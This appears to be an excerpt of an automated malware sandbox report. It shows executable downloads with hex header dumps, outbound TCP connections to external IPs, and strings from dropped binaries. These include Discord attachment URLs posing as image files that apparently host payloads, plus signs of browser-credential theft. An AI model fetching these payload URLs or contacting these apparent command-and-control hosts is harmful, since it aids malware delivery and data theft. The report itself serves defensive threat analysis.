00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 12:11:18 GMTContent-Type: application/x-msdos-programContent-Length: 334288Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "519d0-57aa1f0b0df80"Expires: Sat, 30 Oct 2021 12:11:18 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 f0 2f 05 84 91 41 56 84 91 41 56 84 91 41 56 8d e9 d2 56 88 91 41 56 5d f3 40 57 86 91 41 56 1a 31 86 56 85 91 41 56 5d f3 42 57 80 91 41 56 5d f3 44 57 8f 91 41 56 5d f3 45 57 8f 91 41 56 a6 f1 40 57 80 91 41 56 4f f2 40 57 87 91 41 56 84 91 40 56 d6 91 41 56 4f f2 42 57 86 91 41 56 4f f2 45 57 c0 91 41 56 4f f2 41 57 85 91 41 56 4f f2 be 56 85 91 41 56 4f f2 43 57 85 91 41 56 52 69 63 68 84 91 41 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 d8 03 00 00 66 01 00 00 00 00 00 29 dd 03 00 00 10 00 00 00 f0 03 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 05 00 00 04 00 00 a3 73 05 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 e6 04 00 50 00 00 00 c0 e6 04 00 c8 00 00 00 00 40 05 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fc 04 00 d0 1d 00 00 00 50 05 00 e0 16 00 00 30 e2 04 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 e2 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 d6 03 00 00 10 00 00 00 d8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 fc fe 00 00 00 f0 03 00 00 00 01 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 48 00 00 00 f0 04 00 00 04 00 00 00 dc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 05 00 00 04 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e0 16 00 00 00 50 05 00 00 18 00 00 00 e4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 12:11:18 GMTContent-Type: application/x-msdos-programContent-Length: 137168Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "217d0-57aa1f0b0df80"Expires: Sat, 30 Oct 2021 12:11:18 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8d c2 55 b1 c9 a3 3b e2 c9 a3 3b e2 c9 a3 3b e2 c0 db a8 e2 d9 a3 3b e2 57 03 fc e2 cb a3 3b e2 10 c1 38 e3 c7 a3 3b e2 10 c1 3f e3 c2 a3 3b e2 10 c1 3a e3 cd a3 3b e2 10 c1 3e e3 db a3 3b e2 eb c3 3a e3 c0 a3 3b e2 c9 a3 3a e2 77 a3 3b e2 02 c0 3f e3 c8 a3 3b e2 02 c0 3e e3 dd a3 3b e2 02 c0 3b e3 c8 a3 3b e2 02 c0 c4 e2 c8 a3 3b e2 02 c0 39 e3 c8 a3 3b e2 52 69 63 68 c9 a3 3b e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c4 5f eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 7a 01 00 00 86 00 00 00 00 00 00 e0 82 01 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 02 00 00 04 00 00 16 33 02 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 40 c0 01 00 74 1e 00 00 b4 de 01 00 2c 01 00 00 00 20 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fa 01 00 d0 1d 00 00 00 30 02 00 68 0c 00 00 00 b9 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 b9 01 00 18 00 00 00 68 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 f4 02 00 00 6c be 01 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ca 78 01 00 00 10 00 00 00 7a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5e 65 00 00 00 90 01 00 00 66 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 0b 00 00 00 00 02 00 00 02 00 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 38 00 00 00 00 10 02 00 00 02 00 00 00 e6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 20 02 00 00 04 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0c 00 00 00 30 02 00 00 0e 00 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 12:11:18 GMTContent-Type: application/x-msdos-programContent-Length: 440120Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "6b738-57aa1f0b0df80"Expires: Sat, 30 Oct 2021 12:11:18 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a6 c8 bc 41 e2 a9 d2 12 e2 a9 d2 12 e2 a9 d2 12 56 35 3d 12 e0 a9 d2 12 eb d1 41 12 fa a9 d2 12 3b cb d3 13 e1 a9 d2 12 e2 a9 d3 12 22 a9 d2 12 3b cb d1 13 eb a9 d2 12 3b cb d6 13 ee a9 d2 12 3b cb d7 13 f4 a9 d2 12 3b cb da 13 95 a9 d2 12 3b cb d2 13 e3 a9 d2 12 3b cb 2d 12 e3 a9 d2 12 3b cb d0 13 e3 a9 d2 12 52 69 63 68 e2 a9 d2 12 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 16 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 04 06 00 00 82 00 00 00 00 00 00 50 b1 03 00 00 10 00 00 00 20 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 61 7a 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 43 04 00 82 cf 01 00 f4 52 06 00 2c 01 00 00 00 80 06 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 78 06 00 38 3f 00 00 00 90 06 00 34 3a 00 00 f0 66 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 28 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 06 00 f0 02 00 00 98 40 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 03 06 00 00 10 00 00 00 04 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 10 28 00 00 00 20 06 00 00 18 00 00 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 36 14 00 00 00 50 06 00 00 16 00 00 00 20 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 70 06 00 00 02 00 00 00 36 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 03 00 00 00 80 06 00 00 04 00 00 00 38 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 3a 00 00 00 90 06 00 00 3c 00 00 00 3c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 12:11:19 GMTContent-Type: application/x-msdos-programContent-Length: 1246160Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "1303d0-57aa1f0b0df80"Expires: Sat, 30 Oct 2021 12:11:19 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 83 34 8c 67 e2 5a df 67 e2 5a df 67 e2 5a df 6e 9a c9 df 73 e2 5a df be 80 5b de 65 e2 5a df f9 42 9d df 63 e2 5a df be 80 59 de 6a e2 5a df be 80 5f de 6d e2 5a df be 80 5e de 6c e2 5a df 45 82 5b de 6f e2 5a df ac 81 5b de 64 e2 5a df 67 e2 5b df 90 e2 5a df ac 81 5e de 6d e3 5a df ac 81 5a de 66 e2 5a df ac 81 a5 df 66 e2 5a df ac 81 58 de 66 e2 5a df 52 69 63 68 67 e2 5a df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 0e 00 00 1e 04 00 00 00 00 00 77 f0 0e 00 00 10 00 00 00 00 0f 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 13 00 00 04 00 00 b7 bb 13 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 9d 11 00 88 a0 00 00 88 3d 12 00 54 01 00 00 00 b0 12 00 70 03 00 00 00 00 00 00 00 00 00 00 00 e6 12 00 d0 1d 00 00 00 c0 12 00 14 7d 00 00 70 97 11 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 97 11 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 81 e8 0e 00 00 10 00 00 00 ea 0e 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 10 52 03 00 00 00 0f 00 00 54 03 00 00 ee 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 47 00 00 00 60 12 00 00 22 00 00 00 42 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 03 00 00 00 b0 12 00 00 04 00 00 00 64 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 14 7d 00 00 00 c0 12 00 00 7e 00 00 00 68 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 12:11:19 GMTContent-Type: application/x-msdos-programContent-Length: 144848Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "235d0-57aa1f0b0df80"Expires: Sat, 30 Oct 2021 12:11:19 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 6c 24 1c e6 0d 4a 4f e6 0d 4a 4f e6 0d 4a 4f ef 75 d9 4f ea 0d 4a 4f 3f 6f 4b 4e e4 0d 4a 4f 3f 6f 49 4e e4 0d 4a 4f 3f 6f 4f 4e ec 0d 4a 4f 3f 6f 4e 4e ed 0d 4a 4f c4 6d 4b 4e e4 0d 4a 4f 2d 6e 4b 4e e5 0d 4a 4f e6 0d 4b 4f 7e 0d 4a 4f 2d 6e 4e 4e f2 0d 4a 4f 2d 6e 4a 4e e7 0d 4a 4f 2d 6e b5 4f e7 0d 4a 4f 2d 6e 48 4e e7 0d 4a 4f 52 69 63 68 e6 0d 4a 4f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bf 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 b6 01 00 00 62 00 00 00 00 00 00 97 bc 01 00 00 10 00 00 00 d0 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 50 02 00 00 04 00 00 09 b1 02 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 03 02 00 a8 00 00 00 b8 03 02 00 c8 00 00 00 00 30 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 18 02 00 d0 1d 00 00 00 40 02 00 60 0e 00 00 d0 fe 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 ff 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cb b4 01 00 00 10 00 00 00 b6 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0a 44 00 00 00 d0 01 00 00 46 00 00 00 ba 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 07 00 00 00 20 02 00 00 04 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 30 02 00 00 04 00 00 00 04 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 60 0e 00 00 00 40 02 00 00 10 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 12:11:19 GMTContent-Type: application/x-msdos-programContent-Length: 83784Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "14748-57aa1f0b0df80"Expires: Sat, 30 Oct 2021 12:11:19 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 f9 a3 4e 45 98 cd 1d 45 98 cd 1d 45 98 cd 1d f1 04 22 1d 47 98 cd 1d 4c e0 5e 1d 4e 98 cd 1d 45 98 cc 1d 6c 98 cd 1d 9c fa c9 1c 55 98 cd 1d 9c fa ce 1c 56 98 cd 1d 9c fa c8 1c 41 98 cd 1d 9c fa c5 1c 5f 98 cd 1d 9c fa cd 1c 44 98 cd 1d 9c fa 32 1d 44 98 cd 1d 9c fa cf 1c 44 98 cd 1d 52 69 63 68 45 98 cd 1d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0c 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 00 00 00 20 00 00 00 00 00 00 00 ae 00 00 00 10 00 00 00 00 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 bc 11 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 b0 f0 00 00 14 09 00 00 c0 10 01 00 8c 00 00 00 00 20 01 00 08 04 00 00 00 00 00 00 00 00 00 00 00 08 01 00 48 3f 00 00 00 30 01 00 94 0a 00 00 b0 1f 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 1f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 e9 00 00 00 10 00 00 00 ea 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 44 06 00 00 00 00 01 00 00 02 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b8 05 00 00 00 10 01 00 00 06 00 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 08 04 00 00 00 20 01 00 00 06 00 00 00 f6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 0a 00 00 00 30 01 00 00 0c 00 00 00 fc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: unknown

HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49826 version: TLS 1.0

Source: global traffic	TCP traffic: 192.168.2.3:49978 -> 93.115.20.139:28978
Source: global traffic	TCP traffic: 192.168.2.3:50095 -> 213.142.148.231:58682
Source: global traffic	TCP traffic: 192.168.2.3:50109 -> 185.215.113.94:15564
Source: global traffic	TCP traffic: 192.168.2.3:50115 -> 2.56.214.190:59628

Source: D8D0.exe.10.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: CD17.exe.10.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: D8D0.exe.10.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: CD17.exe.10.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: CD17.exe.10.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: D8D0.exe.10.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: CD17.exe.10.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: D8D0.exe.10.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: D8D0.exe.10.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: CD17.exe.10.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: D8D0.exe.10.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: CD17.exe.10.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: B096.exe, B096.exe.10.dr	String found in binary or memory: http://fontello.com
Source: D8D0.exe.10.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: CD17.exe.10.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: D8D0.exe.10.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: CD17.exe.10.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: B096.exe, 00000018.00000002.502019916.0000000002DA1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: DF3A.exe.10.dr	String found in binary or memory: http://tempuri.org/DetailsDataSet1.xsd
Source: D8D0.exe.10.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: sqlite3.dll.35.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	String found in binary or memory: https://accounts.google.com
Source: craw_window.js.34.dr	String found in binary or memory: https://accounts.google.com/MergeSession
Source: B096.exe, 00000018.00000002.503371064.0000000003E09000.00000004.00000001.sdmp, aspnet_state.exe, 0000001E.00000000.439226875.0000000000402000.00000040.00000001.sdmp, DF3A.exe, 00000027.00000000.489693993.0000000000402000.00000040.00000001.sdmp, ServiceModelReg.exe, 00000028.00000000.483819247.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	String found in binary or memory: https://apis.google.com
Source: B096.exe, 00000018.00000002.502019916.0000000002DA1000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: B096.exe	String found in binary or memory: https://cdn.discordapp.com/attachments/8
Source: DF3A.exe.10.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg
Source: DF3A.exe.10.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg
Source: D8D0.exe.10.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903196811345395712/6058E8D5.jpg
Source: BBE1.exe, 0000001B.00000000.422812164.0000000000792000.00000002.00020000.sdmp, BBE1.exe.10.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903333369742491648/1E88D378.jpg
